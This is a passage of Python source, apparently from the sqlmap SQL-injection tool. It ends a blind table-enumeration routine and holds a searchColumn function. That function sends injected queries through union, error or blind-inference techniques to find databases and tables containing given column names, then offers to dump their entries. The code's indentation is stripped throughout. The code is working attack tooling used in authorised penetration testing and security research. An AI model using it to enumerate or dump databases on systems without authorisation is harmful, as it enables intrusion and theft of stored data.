if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3):
_ = query.replace("%s", db)
count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNoneValue(count):
break
if not isNumPosStrValue(count):
if count != 0:
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in xrange(int(count)):
_ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index
table = inject.getValue(_, union=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise SqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def searchColumn(self):
bruteForce = False
self.forceDbmsEnum()
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in
(DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
choice = readInput(message,
default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
regex = '|'.join(conf.col.split(','))
conf.dumper.dbTableColumns(
columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
if readInput(message, default='Y', boolean=True):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(',')
if conf.exclude:
colList = [
_ for _ in colList if re.search(conf.exclude, _, re.I) is None
]
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
values = []
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
column = column.upper()
conf.db = conf.db.upper() if conf.db else conf.db
conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if tblCond:
if conf.tbl:
_ = conf.tbl.split(',')
whereTblsQuery = " AND (" + " OR ".join(
"%s = '%s'" %
(tblCond, unsafeSQLIdentificatorNaming(tbl))
for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % (
"s" if len(_) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(tbl) for tbl in _))
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if dbCond:
if conf.db:
_ = conf.db.split(',')
whereDbsQuery = " AND (" + " OR ".join(
"%s = '%s'" %
(dbCond, unsafeSQLIdentificatorNaming(db))
for db in _) + ")"
infoMsgDb = " in database%s '%s'" % (
"s" if len(_) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(db) for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(
" AND %s != '%s'" %
(dbCond, unsafeSQLIdentificatorNaming(db))
for db in self.excludeDbsList)
msg = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(db)
for db in self.excludeDbsList))
logger.info(msg)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
values = inject.getValue(query, blind=False, time=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(','):
for tbl in conf.tbl.split(','):
values.append([
safeSQLIdentificatorNaming(db),
safeSQLIdentificatorNaming(tbl, True)
])
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, ):
values = [(conf.db, value)
for value in arrayizeValue(values)]
for db, tbl in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
tbls = tbl.split(',') if not isNoneValue(tbl) else []
for tbl in tbls:
tbl = safeSQLIdentificatorNaming(tbl, True)
if db is None or tbl is None:
continue
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider, colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
kb.data.cachedColumns = {}
if not values and isInferenceAvailable() and not conf.direct:
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
query = rootQuery.blind.count
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
column)
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (colQuery + whereDbsQuery +
whereTblsQuery)
query = agent.limitQuery(index, query)
db = unArrayizeValue(
inject.getValue(query, union=False, error=False))
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(',') if conf.db else (
self.getCurrentDb(), ):
db = safeSQLIdentificatorNaming(db)
if db not in foundCols[column]:
foundCols[column][db] = []
origDb = conf.db
origTbl = conf.tbl
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbData:
conf.db = origDb
conf.tbl = origTbl
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(column),
unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db
or ""):
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % colQuery
else:
query = query % colQuery
query += whereTblsQuery
count = inject.getValue(
query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(
column)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db
or ""):
query = query % (colQuery + whereTblsQuery)
elif query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % (
colQuery + whereTblsQuery)
elif " ORDER BY " in query:
query = query.replace(
" ORDER BY ", " AND %s ORDER BY " %
(colQuery + whereTblsQuery))
else:
query += " AND %s" % (colQuery +
whereTblsQuery)
query = safeStringFormat(
query, unsafeSQLIdentificatorNaming(db))
query = agent.limitQuery(index, query)
tbl = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(
kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
if dbs:
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
else:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)